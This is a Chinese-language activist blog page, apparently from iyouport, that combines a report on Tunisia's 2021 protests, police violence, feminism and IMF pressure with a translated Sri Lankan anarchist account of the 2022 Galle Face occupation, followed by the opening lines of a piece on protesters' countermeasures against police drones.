活动家 **Wajdi Mehwachi** 被逮捕，现在正因为上面那张照片中的动作而在监狱中遭受酷刑。他在抗议活动中举着那张钞票的动作象征着警察的腐败，他们不逮捕那些有能力贿赂他们的人，那些在社会上掌握权力的人。

警察工会自1月28日以来一直在罢工，声称他们受到侮辱和羞辱。羞

辱 —— 例如抗议者在警察的盾牌上泼洒彩色油漆，以回应他们发射催泪瓦斯和殴打人们的暴力行为。警察的 “罢工” 阻止了他们将被捕者带到法庭，造成法庭裁决的延误，被捕者一直被关在监狱里，但这并没有阻止警察使用他们的棍棒和摩托车攻击抗议者，即使那些警察不在执勤时间里。今天，警察的有罪不罚现象是革命以来最严重的一次。

如果您错了《先开枪，再问问题：来自世界各地的警察暴力》

Hichem Mechichi，这位领导控制议会的联盟并因此成为政府实际负责人的政客，仍然出现在媒体上，支持警察并谴责 “任何形式的反叛”。在上述从法国公司 **Marseille Manutention** 购买防暴车之后，这并不奇怪。

法国支持本·阿里和此后的每一届突尼斯政府，以保护他们在以前的北非殖民地的市场，如科技公司、石油公司、酒店等。法国对突尼斯事务的干预是由法国最反动的参与者推动的。 捏造的针对塔尔纳克活动家的所谓 “反恐” 案件是由法国内政部长米谢勒·阿利奥·玛丽领导的，她还宣布，在支持阿拉伯之春成为美国和欧洲政治家的时尚之前，法国应该出兵支持本·阿里。

法国不止帮助埃及镇压，《法国向埃及出售监视社会技术和武力镇压工具已造成大面积死亡和抓捕的人权灾难》

女权主义

「图」

女权主义的斗争对新一轮的组织活动至关重要。自革命以来，我们看到了突尼斯版的#metoo运动，更多对LGBTQI友好的空间，以及更多进步的艺术。这是很重要的，在这个泛滥着恐同症和厌女症的世界里。

2021年1月初，西南部 Gouvernourat [州]的州长取消了丈夫在职的妇女申请政府工作的资格。加夫萨的女性提出了集体离婚的要求，称加夫萨所有因 “丈夫工作” 而被剥夺平等机会权利的妇女都要求离婚。

“我们是认真的，我们要集体离婚，我们一样努力学习，获得同样的学位，所以申请同样的工作就应该是我们的权利”，其中一名抗议者说。

警察不仅仅是抗议期间暴力镇压的问题；他们也是突尼斯父权制社会基础的一部分。所有妇女都证明了遭受过警察的性骚扰，这是女性之间的一种常识，如果你是突尼斯女性，在你的生活中至少有一次这样的经历 —— 如果不是更多次的话。示威者无视警察作为父权制的捍卫者，以警用盾牌为镜，涂口红

面对女性的拒绝和反抗，警察戴上了“男性监护人”的帽子。例如，虽然饮酒或公开示爱在突尼斯不是犯罪，但警察经常威胁要给他们看到的做这些事的女性的父母打电话，如果被威胁的女性来自保守的家庭，这可能使她们处于更危险的境地。

我邀请大家观看2017年由 Kaouther Ben Hania 执导的电影《La Belle et la Meute》，该电影根据一个真实的故事改编，讲述了一名女性被一名警察强奸，以及她在寻求投诉时面临的侮辱和羞辱。虽然这个故事可能听起来很特别，但是，来自警察的性骚扰对突尼斯女性来说是一种日常的折磨。

上述突尼斯激进活动家艾哈迈德·特利利（Ahmed Tlili）还指出，纳赫达党利用其在议会中的权力，在社会的所有其他机构中都取得了立足点。这有助于这个伊斯兰党通过学校、文化中心、媒体宣传其保守的意识形态。例如，反对堕胎等问题在革命前从未被讨论过，但现在却得到了相当的曝光。当激进的左翼试图宣扬新思想时，这些思想都被指责为“精英主义和非常资产阶级的”，与工人阶级和穷人脱节，或者，当反抗获得牵引力时，警察用宗教论据来为镇压整个左翼团体、特别是女性活动家做辩护。

阶级

「图」

整个突尼斯的南部和西北部地区与所有的工人阶级社区一样，在社会和政治上被边缘化。Heythem Guesmi 指出，这种边缘化与殖民化过程本身相似。他引用了 Sghaier Salhi 的一本未翻译的书，题为《内部殖民主义和不平等的发展》，解释说：这种边缘化是几个世纪以来对资源丰富的内陆地区的剥削的结果，可以追溯到**13**世纪。这创造了一个至今仍在统治的“上层阶级家族”的网络。

经济机会只提供给上层阶级；突尼斯的失业率已达到35%。COVID-19大流行病加剧了这种不平等：据报道，有7万人失去了工作。这些数字还没有考虑到突尼斯的黑市，这是大多数人工作的地方 —— 当地市场、食品车、裁缝店、建筑工作等等。1月19日晚上，抗

议者在突尼斯的Ettadhamen郊区与警察发生冲突。

机会和权利的鸿沟延伸到了重要部门。公立学校关闭了，而私立学校却有资源进行在线教学；公立医院已经达到了饱和，而私立医院却只让那些有钱人可以使用；甚至艺术也成为了有钱人私人聚会的专属，而公共剧院和音乐场所却关闭了。与此同时，经济危机给了政府一个借口，向工人阶级征收更多的税，削减社会福利项目，但这并没有阻止他们对上层阶级提供逃税计划，如 “2020年，对游艇所有者不征税”。

目前，两名突尼斯男子因在公共场所吸食大麻而面临30年的监禁。使用或持有大麻将被判处最高5年的刑期，如果是在公共场所吸食，则要多判10到20年。判多少年完全取决于法官的解释。这些法律最初是在1992年制定的，当时的独裁者本·阿里的姐夫因参与毒品走私网络而在法国被捕。这一丑闻使本·阿里受到了国际压力，因此他制定了一项法律（刑法典第52条），将所有大麻以及硬性毒品的消费者监禁起来。

在公众的压力下，新政府对这一法律进行了调整，将量刑改为0至5年，但将其解释权完全留给了法官。这加剧了阶级歧视；我们都知道，资产阶级的人绝不会因为吸食大麻而入狱，被捕的都是穷人。抗议者要求废除这项法律。

Heythem Guesmi 认为，伊斯兰原教旨主义者之所以能够成功地招募到如此多的志愿者，是因为他们已经深入到了边缘化的社区，在当地的咖啡馆、清真寺和贫穷的大学里，而 “传统” 的左派仍然在笼络精英主义和资产阶级，提倡对民主的改革主义理解。在某些方面，这些原教旨主义者比自由派与左派有更多的共同点，因为他们与警察、国家和帝国作斗争。当然，分歧是关于运动的目标和斗争的工具。不幸的是，在突尼斯过去十年的民主制度下，他们比左派更成功地建立了自己的运动和强加了自己的霸权，因为他们知道如何与边缘化的社区联系。

在突尼斯，存在着普遍的身份危机。这促使人们合法或非法地离开这个国家，因为他们对这个国家没有归属感，否则就转向ISIS，ISIS以伊斯兰原教旨主义的形式为他们提供了一个身份。大多数人都缺乏归属感，尤其是那些被边缘化了的人们 —— 上层阶级当然除外，他们有足够的理由感谢国家。

语言本身提出了另一个挑战，今天的左翼必须努力解决这个问题。哲学文本和历史书籍，甚至关于国际运动的文章，要么根本没有阿拉伯

语，要么只有非常糟糕的译本，当然更没有突尼斯方言。**Heythem** 一直在制作一个播客，旨在普及突尼斯方言的概念和斗争，包括阶级斗争、反帝斗争、身份等。虽然他的播客不是在创造一种新的哲学，但他注意到，他不仅从精英和底层战友们那里得到了很多支持和兴趣，也从所谓的 “普通” 人那里得到了支持。

罗莎·卢森堡认为，激进派、活动家和一般左翼的作用是提供斗争手段，向群众提供声援，而不是 “在他们的位置上思考”。一个声称为工人说话、“代表” 他们 —— 例如在议会中 —— 并代替他们行事的政党将必然沦为镇压革命的工具。在工人阶级社区巴尔多的抗议活动，目的是使工人阶级和穷人在他们居住的地方发声，而不仅仅是在政府大楼前。简单说：不上访，原地反抗

如果您错过了《要运动，不诉求》

后殖民主义

「图」

突尼斯的经济处于危机之中，这早已不是什么秘密。国际货币基金组织在其中发挥了重要作用，因为它拒绝向突尼斯提供贷款。在全球资本主义下，**IMF**扮演着国际银行和外国投资的全球担保人的角色。虽然国际货币基金组织的贷款通常是小额的和不足的，但国际货币基金组织在**2013**年和**2016**年与突尼斯达成了两项协议，虽然都没有被应用。

上个月，IMF威胁说，如果这些协议不被应用，将拒绝向突尼斯提供贷款。这些规定包括降低公共部门员工的工资，解雇一定比例的员工，建立一个由**IMF**监督的委员会来管理公共部门，并将国家电力、水和电信公司私有化。突尼斯已经将磷酸盐公司、烟草和南部的几个油田私有化了。这就是突尼斯政府解决人民需求的计划：装甲车。Yassine Gaidi 拍摄。

与国际货币基金组织达成的这些协议得到了事实上的政府首脑 Hichem Mechichi 的批准，而总统凯斯·萨伊德则表示不同意。我们可以将这种分歧解释为政治角逐，以决定谁将继续执政。如果争端得不到解决，可能会导致议会解散，并迫使再次举行选举。据突尼斯激进活动家 Nadhmi Boughamoura 说，这也是过去几个月警察如此残酷暴力的原因之一。这个伊斯兰党一直担心他们会遭遇2013年伊斯兰党在埃及的同样命运；因此，他们一直在建立一个融入内政部、司法系统和军队的基础设施，为应对任何针对他们和现任政府的反叛或革命

做准备。他们还一直在努力制定法律框架，以组建一支专属于伊斯兰党的武装民兵队伍。

纳德米认为，同意国际货币基金组织的计划对突尼斯的经济和社会来说都是一种自杀行为。更多的私有化将导致更多的剥削，破坏医疗保健系统和目前存在的少量社会福利基础设施。他说：”[反对] 现有政党的腐败是紧迫的，但还不够；运动必须通过建立彻底的新社会经济结构来抵制全球资本主义”。

一场全球斗争

「图」

我们并不是把这种情况理解为一个小国面临的地方问题，而是在全球范围内看待它，因为在全球化的世界里，所有的斗争都是相互联系的。在一个地方的斗争就是在所有地方的斗争。因此，我们需要一个国际团结。

西尔维娅·费德里奇（Silvia Federici）在她的《卡利班与女巫》一书的序言中，回顾了她在尼日利亚担任教授时的情况，她是一位激进女权主义者：

> “尼日利亚政府与国际货币基金组织和世界银行进行了谈判。该计划宣称的目的是使尼日利亚在国际市场上具有竞争力。但是，很快就可以看出，*[它]*事实上旨在摧毁最后的公有财产和社区关系的残余。国家（在世界银行的怂恿下）对劳动力的再生产进行了果断的干预：调节生育率，减少被认为要求过高和缺乏纪律的人口规模，因为它有望融入全球经济 …… 我还目睹了一场谴责女性的虚荣心和过度要求的厌女症运动。

突尼斯革命一直是改革主义的。今天，我们在街头看到的主要恐惧是，历史会重演，对根本性变革的需求被哄抢，沦为改革主义。保护这些要求的唯一途径是通过一个国际主义运动。今天，我们比以往任何时候都更需要一场国际主义运动，以促进各地所有斗争的意识。旗帜上是西班牙口号“ Il peublo unido，jamàsseràvencido” 的阿拉伯语版本，意为 “团结一致的人民将永远不会被打败“

新地平线

「图」

“错误的一代” 是一个年轻的突尼斯无政府主义和反法西斯主义集体，他们正在与正统的左翼决裂。因为他们不想要一个政党体系，不想要一个领导人或发言人；他们想要一个彻底的变革。他们流行的座右铭之一是 “Tahet zliz fama takriz”（地下有愤怒）—— 要么是受到突尼斯诗人 Abou El Kacem Chebbi 的启发，他与殖民化作斗争，用 “小心，灰烬下有火！” 的口号向法国殖民者喊话，要么是受到1968年5月法国起义的座右铭 “铺路石下是海滩” 的启发）。

玛丽亚姆·姆瑙尔（Maryam Mnaouar）是本·阿里政权时期的突尼斯激进活动家，也是为抗议者无偿辩护的律师，她被政府首脑下令停止她的团体 “突尼斯党” 的所有活动一个月。尽管这听起来很压抑，但这表明政府害怕她的声音和她得到的越来越多的支持。

曾是左翼学生会成员、目前参与左翼组织 “斗争” 的纳德米·博格莫拉，现在正与抗议者合作，在一个联盟下组织起来。

纳德米指出，这是我们第一次目睹共产主义者、足球迷、左翼学生会成员、农民、和无政府主义者之间的联盟。纳德米指出，一月在突尼斯一直具有象征意义：1984年的面包起义、2008年的采矿盆地起义

和2011年的革命都发生在一月。然而，纳德米以更加悲观的口吻指出，我们需要解决的挑战之一是如何利用这种革命精神，而不是像以前那些运动之后那样让它消亡。这个新联盟的主要要求是废除警察的压迫，拒绝国际货币基金组织的强加，货币基金组织只是在保护全球资本主义，不仅剥削突尼斯，还剥削所有非洲国家。

左翼还没有被充分组织起来；我们需要培养更好的战略以推翻政府，进行彻底的变革。今天，“错误的一代” 和 “斗争” 这两个团体正在以非正统的战略进行领导，而老的左翼政党由于其传统的组织和领导方式以及对新生代引入的动态缺乏了解而缺席。

在突尼斯独立后的50年里，两个独裁者统治着这个国家，粉碎了任何反抗的希望。在革命后的十年里，人们对选举制度投入了大量的信任，希望公平公正的选举能够创造一个平等的社会。然而，这些截然不同的制度却产生了完全相同的结果。

与突尼斯反抗者取得联系

「图」

反法西斯组织 “错误的一代” 在这里有一个Facebook页面。

你可以在这里听到 Heythem Guesmi 的播客。

最近出现的运动 “人民的方案反对精英的方案”，在这里有一个 Facebook 页面。你可以在这里阅读该运动的相关内容的翻译。

新闻网站：

inhiyez.com/ ：一个独立的媒体项目，解决贫困、工人阶级和一般被压迫者的问题。

Inkyfada—— 该地区的多语种新闻

Nawaat—— 一个多语种新闻网站

○□

Tunesien: Von der Revolution 2011 bis zur Revolte 2021

原文

我们这个时代，革命的局限性：斯里兰卡起义的经验教训 - iyouport

反抗者-寻求经验

这场运动，有那么一段时间，似乎重新打造了受苦受难的人民的脊梁。对一群长期被军阀、专制者、帝国主义者和资本家所征服的人群来说，这是胜利的日子。

> 革命需要信徒。怀疑革命的胜利就是已经背叛了革命。正是通过逻辑和胆识，人们发起了革命并拯救了它们。

社会革命之所以成为可能，是因为一连串的斗争遇到并克服了它们的限制。随着战术、口号和组织形式迅速传播到不同的国家，这些序列往往会以一连串浪潮的形式展开。这些浪潮往往发生在全球经济动荡的时候，这在世界不同地区创造了一系列类似的条件。

首先总结一些经验教训，如下。

1、

「图」

一旦起义开始，任何选举都只会赋予旧政权以合法性，将其包裹在革命的合法性之中。7月20日议会对拉尼尔的选举为这一普遍规则提供了一个典范级的案例。没有理由相信所谓的大选能有任何不同。

2、

「图」

在政治上，而不是在军事上，打败武装部队是可能的。但对于我们这个世纪来说，需要重新思考其可能性的条件。

当武装部队被叫到街上，但拒绝向人群开火时，革命的局面就会出现。然而，最经常发生的情况是，在最初的起义中袖手旁观的武装力量后来又重新出现，成为革命命运的最终仲裁者，确保了旧政权和后来者之间的连续性。

3、

「图」

斗争在其将无产阶级的不同片段编织在一起的能力中找到力量。起义之所以成功，是因为在整个国家，来自各行各业和社区的人们找到了自己的参与方式。这在斯里兰卡这样一个建立在种族和宗教分离基础上的、被几十年内战蹂躏的社会中尤为重要。

然而，存在于社会其他部分的分离往往会在斗争中重新出现，特别是在其早期成功之后。这一直是我们这个世纪的革命似乎无法克服的局限。

4、

「图」

反乌托邦的斗争倾向于采用对腐败的批判，作为一种自发的意识形态。在一个日益由专制强人主导的世界里，这有某种意义，特别是在斯里兰卡。

但同时，对腐败的批评歪曲了国家在经济和社会危机中的实际作用，因为它假定国家可以找到摆脱当前危机的方法，只要它愿意，它可以选择避免实施紧缩政策。这种混乱也是为什么反紧缩斗争往往导致重新洗牌而不是改变游戏规则的原因。

政权倒台后，人们面临的事实是，资本主义社会的结构逻辑仍然存在。革命带来的政府往往发现自己实施的紧缩措施与最初引发抗议活动的措施极为相似。

起义要想更进一步，就必须面对国家在与全球市场的关系中断时如何吃饭和生活的不确定性。毕竟，只有通过资本主义社会的关系并存在于其中，无产者才能够进行自我再生产。这正是限制所在，也是今天的斗争所要质疑的东西。

5、

「图」

起义往往是由某一社会群体的斗争引发的。然而，随着斗争的地理中心的转移，阶级构成也往往随之发生变化。

随着抗议活动向大城市转移，城市中产阶级最初成为重心。例如，斯里兰卡的起义首先从农村腹地的农民抗议开始，然后转移到科伦坡周围的郊区，再到首都的中心。在那里，城市中产阶级最初发挥了重要作用，特别是在占领行动中。随着抗议和占领的势头更加猛烈，科伦坡随后被来自城市和国家各地的蜂拥而至的无产者占领，最明显的是在7月9日。在到达首都后，抗议活动开始蔓延到整个国家，甚至在首都保持一定的向心力。这种地理上的集中会使少数民族人口的参与更难以得到保证，比如集中在国家北部和东部的泰米尔人。

同时，斗争的地理环境与权力的地理环境并没有整齐划一。斯里兰卡的一些革命者认为，下一阶段的斗争将需要将科伦坡作为中心，并将活动分布在全国。这就提出了一个问题，即 夺取并掌握权力的实际情况究竟是怎样的，因此，未来的反叛可能需要什么样的地图？通过占领权力大厅，革命者认为自己在某种意义上已经夺取了权力；但国家仍然在他们的背后继续运作。这也许是革命的一个必要步骤，但不足以使革命不可逆转。对某些人来说，权力存在于基础设施中，即“构成社会真正权力的有形组织”；但是，什么是基础设施，占领和重新利用而不是直接阻止它意味着什么，尤其是在经济崩溃和潜在灾难的情况下？

6、

「图」

起义之后，往往会有一个组织起来的过程，因为被斗争浪潮塑造的激进分子会找到彼此，并制定出为未来的斗争做准备的方法。

斯里兰卡可以借鉴全球其他地方最近十年的实验。也许最有力的是苏丹的经验。在2013年的起义之后，出现了大量的抵抗委员会，他们为自己设定的任务是为下一波斗争做准备。具体来说，这意味着：维护邻里社会中心；建设基础设施和储备他们认为必要的材料；发展全市和全国性的同志和同情者网络；并通过协调运动来测试这些网络的能力。当革命真的到来时，在2018年底，这些团体能够充当强化的载体。在巴希尔总统被迫下台后，抵抗委员会也能够将革命维持到下一个阶段。

这一连串的斗争也产生了不值得效仿的实验。群众运动之后往往会推动形成能够参加选举的政党，例如在希腊或西班牙。他们早期的成功往往掩盖了某种陷阱。当危机深重到一定程度时，国家和资本想把治理的重任推给运动。危机是没有出路的，所以运动要负责管理危机。而一旦运动掌权，它很快就会失去信誉。有时，左翼甚至能够推动改革或紧缩政策，而另一个“政府”则无法做到。在这个循环中，革命者发现了足以干预斗争的形式，但不是夺取权力。

7、

「图」

今天的革命努力是在孤立中开始的，被抛弃在镇压之下，因为支持它们不符合任何现有力量的利益。

革命斗争的零星爆发被一个国际镇压组织所抵制，该组织在全球范围内分工。到目前为止，还没有一个实际的革命国际主义组织来支持这场运动。

然而，只有通过这一连串斗争的深化，以及在可能从中产生的力量系统中，一种实际的国际主义，一种能够打破革命努力的孤立性的国际主义，才有可能成为可能。

8、

「图」

革命总是能找到适合其内容和情况的形式。Galle Face 公社就是一个新轮廓。公社为社会革命提供了一个可能的基础。公社可以从运动关心和复制自己的实践中看到；从它克服资本主义社会的人际分离的努力中看到；从它扩大的趋势中看到。斗争每前进一步，占领运动就会扩大一步：占领者的营地越来越多，新的营地不断涌现，新的建筑继续被占领。一些抗议者抱怨说，抗议活动被媒体定性为海滩派对了。但公社的宣言总是以节庆为标志的。

占领活动为参与者提供了空间和背景，让他们可以找到彼此，组织起来，并采取主动。它们为运动提供了必要的基础设施，使其能够自我繁殖；在冷清时期处理水；并随着潮水上升，吸收更激烈的动乱时刻的势头。守住这些空间可能总是比夺回它们更容易。闪电很少会出现两次。埃及和苏丹的革命者们在艰难的道路上学到了这一点。

本文作者，这位参加了推翻总统加塔巴亚·拉贾帕克萨(Gotabaya Rajapaks) 抗议运动的斯里兰卡无政府主义者，身处这个运动的核心 —— 占领行动，即 Gota Go Gama (“ Gota Go Go Home”)。Gama（加马），是僧伽罗语 “村庄” 的意思，在泰米尔语里是 Gramam，在这次抗议和占领行动中是呼吁总统 “回老家”。从4月9日开始，抗议者在斯里兰卡首都科伦坡市中心海边公园 (Oceanside Park) 的 Galle Face 建立了一个永久占领点。7月9日，一群兴奋的抗议者冲进了总统宫殿、总统秘书处和总理的住所，拉贾帕克萨总统被迫逃离。2022 年 4 月 4 日，参加汽车游行的示威者

他们接管了整个村庄

「图」

“这似乎就是一生，或者至少一个主要时代，一个永远不会再现的高峰。 *Gota Go Gama* 处在一个非常特殊的时间和地点，也许这意味着什么。从长远来看，也许又不会有什么 …… 但没有任何解释，没有任何言语、音乐或记忆的表达能触动那种感觉，那种能让你清楚地知道自己活在那个时间、活在世界的那个角落里的感觉。不管这意味着什么…

“每个小时、每个方向都被疯狂所占据。你可以在任何地方擦出火花。有一种奇妙的普遍感觉，无论我们做什么都是对的，我们正在取得胜利……

“我认为这就是抓手 —— 一种对那些陈腐和邪恶战无不胜的感觉。这不是任何卑鄙或者军事意义上的，我们不需要那个。我们就是拥有优势的能量。战斗毫无意义，无论发生在我们这边还是他们那边。我们充满锐气，站立在高大美丽的波峰之上 ……

“因此，现在只要你在 *Galle Face* 那条陡峭的山丘上抬起头来，向西看，就可以看到那个高水位的标志—— 波浪最终破裂并回滚的地方。”

——*Gatherer S. Thompson* 4 月 9 日是 *Galle Face* 抗议活动的第一天，也是占领行动建立的第一天。

4 月 9 日，示威者在占领行动的开幕式上。

2022 年 4 月 10 日的抗议者

那是斯里兰卡的伍德斯托克、喀琅施塔得，都与占领华尔街合而为一。对于我们大多数人来说，它始于四月。在无尽的雨水和泥泞中，我们高喊，发出一千倍的声音，“Gota Go Home!”

我们从小就听说过1953年哈塔尔（总罢工）的辉煌时代。那是斯里兰卡的停滞时期，几乎每个人都在罢工。婴儿潮的一代回忆说，“人们走出家门，在铁轨上煮饭。这个国家就像一个鬼城。”

然后，就是血腥八十年代后期的辛酸回忆。当美国在为 “每个人都想统治世界” 开辟通路、并且鼓励 “随便说” 的时候，斯里兰卡还沉浸在由酷刑室传出的尖叫声和那些在燃烧轮胎上的破碎肢体构成的小夜曲中。

但是三十年后，发生了截然不同的事，这是与1990年代以来那个贪婪政府相比的一个令人耳目一新的变化。

Gota（前总统 Gotabaya Rajapaksa）向人民许诺了一个美妙的愿景，但人们得到的只是长时间停电和通货膨胀的煎熬。自由市场无法解决这个烂摊子；而他在对我们所有人明抢豪夺，为了购买生活必需品人们的排队往往延伸数英里之长。当中产阶级（即 那些平时冷漠的阶级）都走上了街头加入抗议时，真正的麻烦就来了。当抗议者进入 Mirihana（总统居住的市郊）范围，朝着他的老巢发出嘘声，一切就都爆发了。斯里兰卡全国人民都在观看，所有人都黏在电视机上。当人们看到警方设置的路障被抗议者充满胜利的力量推翻时，笑容慢慢荡漾在所有人的脸上。

那是绵羊变成狮子的时刻。接下来的日子里，兔子们游行到这个叫 Galle Face 的草地，向空中挥舞拳头，彰显决心：除非 Gota 滚蛋否则他们绝不离开。2022 年 4 月 14 日的抗议者

2022 年 4 月 14 日的抗议者

2022 年 4 月 16 日，人们在被占领的图书馆读书

无领导的抵抗

「图」

GGG(Gota Go Gama)是斯里兰卡第一个真正的无领导运动。

“好吧，兄弟，这里没有人负责。 实际上，我们所有人都在负责。

你，我和那边的那些家伙”，有人在 Galle Face 说。

（Anarchos 是希腊语，意为 “没有统治者或领导人”）

但这并没有阻止警察逮捕他们认为是 “领导人” 的任何人。

从某种意义上说，发生在 Galle Face 的运动其无领导的优势让当局颇为沮丧，统治者一直在企图从某个 “策划革命的帐篷” 里揪出一个富有魅力的领袖人物。

在*GGG*的头几天，我们记得卧底警察和政治间谍们到处询问 “谁是领导者”。 政府疯狂搜寻，企图像砍下蛇头一般斩首这场运动。

但是，就像罗波那一样（Ravanan，传说中的十头魔王），阿拉加拉亚也是多头的（Aragalaya，僧伽罗语 “斗争” 的意思）。

我们当中的一些人知道，火已经被点燃了……2022 年 4 月 17 日的示威行动。

2022 年 4 月 17 日的示威行动。

守望相助

「图」

是互助定义了人类社会。如果我们的祖先没有在部落中结伴生存，我们就不会繁衍到今天。

但是，即使在亚洲（或者我们应该说，尤其是在亚洲），这种社区意识，随着国家的每一次迭代，都在迅速被瓦解。

然而在科伦坡发生革命的市中心，通过建立互助社区，*GGG*重新确认了社区的重要性。

这里有一个厨房、一家医院、一个游击花园、分配站、图书馆、电影院和一所学校，还有两辆带有太阳能电池板的卡车用作发电站！有人贡献食物、衣服、帐篷和书籍，另一些人虽然无法亲自参与建造和维护占领村*(Gama)*，但是所有人都聚集在一起。

这个抗议点被称为 Adarasha Gammanaya，就是 “模范村”。

斯里兰卡政府以前曾经试图创建这样的模范村，例如受到以色列的基

布兹启发的 Gammudawa Project (上进村项目，“Rising Villages”)。政府尝试过建立乡村自治和自力更生的模式，但那只是为了提高统治政权的形象，他们很少真正是为了普通百姓的利益。

【注：基布兹是以色列的一种常见的集体社区体制，传统上以务农为主，现在则历经转型，兼事工业和高科技产业。】

但是，现在被全世界谈论的是我们的小 Gama！而且，GGG的人们聚在一起，不是以爆炸性的方式运作。没有任何人拥有特权，大家各得其所。“这里是按需分配，也按能力进行分配。”5 月 9 日，总理马欣达·拉贾帕克萨 —— 总统戈塔巴亚·拉贾帕克萨的哥哥—— 辞职。他的支持者当天袭击了我们的占领区，造成大量人员受伤。抗议者进行了报复，烧毁了一些政客的住宅。

5 月 9 日突袭营地的后果

5 月 9 日：全世界的警察都一样。

要知道，我们一无所有只有彼此

「图」

长期以来，斯里兰卡一直为教派暴力所困。与暴力有关的偏执和种族主义根源可以追溯到独立之前。政客们利用种族差异和冲突分裂人民，这手相当有效。这些斯里兰卡的冲突历史，值得大书特书，仅仅一本杂志是不够的，需要的是一整个图书馆。

就在如此的情形之下，斯里兰卡的诸多权力部门及其支持者们都以为我们这个团结互助的 GGG 运动会在一周内崩溃，他们甚至已经准备好了为此弹冠相庆，但是，他们都错了。

相反，他们看到我们的 LGBTQ 的同志们为穆斯林提供了iftar晚餐（在斋月期间日落之后吃的饭菜）；牧师、僧侣、修女和伊玛目们，携起手来结成人墙，保护抗议的学生们免遭警棍的殴打；僧伽罗人在纪念1983年种族暴动和战争的最后阶段（斯里兰卡内战）中丧生的泰米尔人 ……

还有阶级的和谐。

参加聚会的人们来自五湖四海，但是都为了一个共同的目的。

夜晚，星空下从印度洋吹来的微风，提醒着我们是什么让我们成为真

正的人。

尽管有分歧，但我们互相拥抱。我们知道，五个手指需要紧紧相握并举起，以反抗压迫我们的人。2022 年 5 月 9 日晚上，在占领区遭受第一次袭击之后，示威者。

2022 年 5 月 9 日晚上，在对占领的第一次袭击之后，示威者。在斯里兰卡，黑旗不一定意味着无政府主义；它们被更广泛地用作抗议的象征。

一群佛教僧侣举着黑旗抗议。

5 月 16 日：标语上写着“没有正义，就没有和平”。

行动带来信心

「图」

我们是 Galle Face 的高卢人，一个野蛮人的部落冲向防暴警察的罗马盾牌。

我们当中的很多人，都是第一次接触催泪瓦斯。警察抛掷的CS气罐成为人们的收藏品。激进学生都是从街头战斗中的新手锻炼出来的。

如果眼睛是灵魂的窗户，那么被催泪瓦斯伤害的眼睛就是一无所有的人们愤怒的闸门。

团结和互助如柱石一般支撑了占领村的直接行动，尤其是在总统府秘书处前的主要路障 “零门”，高声抗议连续*24*小时地进行。

随之，整个港口城市的墙壁都被涂鸦所覆盖，黑色横幅悬挂在灯柱上，许多小贩和小业主为每天涌入的抗议者开门营业。

借助支持网络，GGG在斯里兰卡许多地区都设立了分支机构，帮助教育人民。

当5月9日政府力量袭击占领者时，人民并没有旁观，他们急速增援，进入贝拉湖区域。

在这个饱含种族暴力和大屠杀创伤的国家，当*5*月*9*日晚间人们烧毁了国会议员和其他政客们的房屋时，政治叙事翻转了。

而斯里兰卡有史以来最大规模的直接行动，毫无疑问，发生在7月9日的总统宫殿、总统秘书处和缅栀屋（斯里兰卡总理的官邸）。抗议者冲向这些奢靡建筑中的豪华游泳池，成群的人们涌向科伦坡，在这些过去对平民来说远不可及的奢侈品中欢跳。

GGG运动，有那么一段时间，似乎重新打造了受苦受难的人民的脊梁。对一群长期被军阀、专制者、帝国主义者和资本家所征服的人群来说，这是胜利的日子。

6月5日：占领运动的帐篷之一。

2022 年 6 月：在占领运动的高峰期，斯里兰卡首都举行了骄傲游行。

我们走过的错路

「图」

占领这三座国家建筑物并没有持续很长时间，政府豢养的媒体和宣传员并没有停止工作，他们继续挑拨族群矛盾，努力传播“有少数族群秘密资助抗议者”的谣言。

议会迅速选出拉尼尔·维克勒马辛哈（Ranil Wickremesinghe）接替Gota 总统的职位，试图拯救政府。拉尼尔是斯里兰卡的弗兰克·安德伍德（Frank Underwood）（美剧《纸牌屋》的主人公），曾是1980年代后期斯里兰卡的皮诺切特风格政府的左右手。他在斯里兰卡臭名昭著，其政治名声最初从一个凶残的集中营传出，这个集中营叫做Batalanda。

拉尼尔最著名的是作为一个狡猾的政治掮客。奇怪的是，当占领者决定在7月22日移交这些总统建筑物的时候，他们并没有被新的总统任命所打动。如同所有胜利的革命，GGG运动在胜利面前难免陷入了自满。我们没有看到斯里兰卡深层政府的黑手，正在悄悄毁损我们站立的地面。

对任何大众运动中的温和派和自由派来说，采取妥协的道路都很容易。只要当权者抛出一些诱惑或者只是诱惑的许诺，运动中的伪激进面具就会慢慢融化。最危险的是，那些侵入激进空间的有魅力的小政客。他们的魅力能够将任何政治讨论转化为他们自己的优势。他们会轻松随意地混杂最新的意识形态，夸夸其谈，但是对理论和实践毫无头绪。

统治阶级很清楚这一类型的运动领袖，常常有意利用新政权的特权诱惑他们，试图把曾经的抗议领袖转变成新的国家主义者。这种人已经背叛了他们起家的运动。7月19日：占领秘书处。

无政府主义组织的海报挂在 Gota Go Gama 的一个帐篷里。

2022 年 7 月 16 日，另一张海报悬挂在 Gota Go Gama 的帐篷中。由 @lightandcrispy_ 设计。

现在我们需要面对的

「图」

同时，国际货币基金组织团队来了又走，他们承诺的大规模救助对当前人民准备采取紧缩措施的计划来说，无疑是极其讽刺的。

加油站的漫长队列仍然是常见的。一条面包的价格升至350卢比，大多数工薪穷人都负担不起。

随着国家宣布进入非常状态，斯里兰卡的武装力量正心怀叵测地大规模逮捕抗议者。人们因刷啤酒杯、拥有旗帜和其他平凡的东西而被捕。如同地狱一般，甚至拥抱总统宫殿支柱的那个人也被捕了！

7月22日的残酷镇压一周后，GGG运动被清除了。许多抗议者被警察用铁棍和电缆残酷地殴打。帐篷和其他占领设施被捣毁。当人们开始在占领村旁边的海滩上清洗受害者尸体时，人民的恐惧增加了。头条新闻里充满了枪击事件，警察称之为 “帮派暴力”。

为了进一步强化侮辱，政府宣布抗议者需要对 Galle Face 的绿地造成的 “损害” 赔偿500万卢比（约合 13,800 美元）。

9月2日晚上，正在东南亚旅行、试图在第三国家寻求庇护的 Gota 总统，飞回了斯里兰卡，很快被一群政治奴隶在一队吉普车队的护送下前往南方拉贾帕克萨（Rajapaksa）的老家。有传言说，他可能会试图重新爬回议会，就任总理一职。

斗争（Aragalaya）正在退缩，但我们不会安静地走入良夜。我们已经学到许多，准备等待合适的时机，再次创造历史。

Aragalaya. Design: **AGNI**.

○□

Sri Lanka: It Takes a Whole Village!Sri Lanka: It Takes a Whole Village!

原文

抗议者使用数百个激光笔”击落”警察无人机 - iyouport

反抗者-寻求经验

【2020年5月22日存档】用技术对战技术

去年一整年有几十个国家/地区实践了激烈的抗议运动，香港是其中之一，您可以在这里看到介绍《”智能镇压”时代：民众抗议此起彼伏，效果如何？》。其中智利的抗议活动是突出的案例。

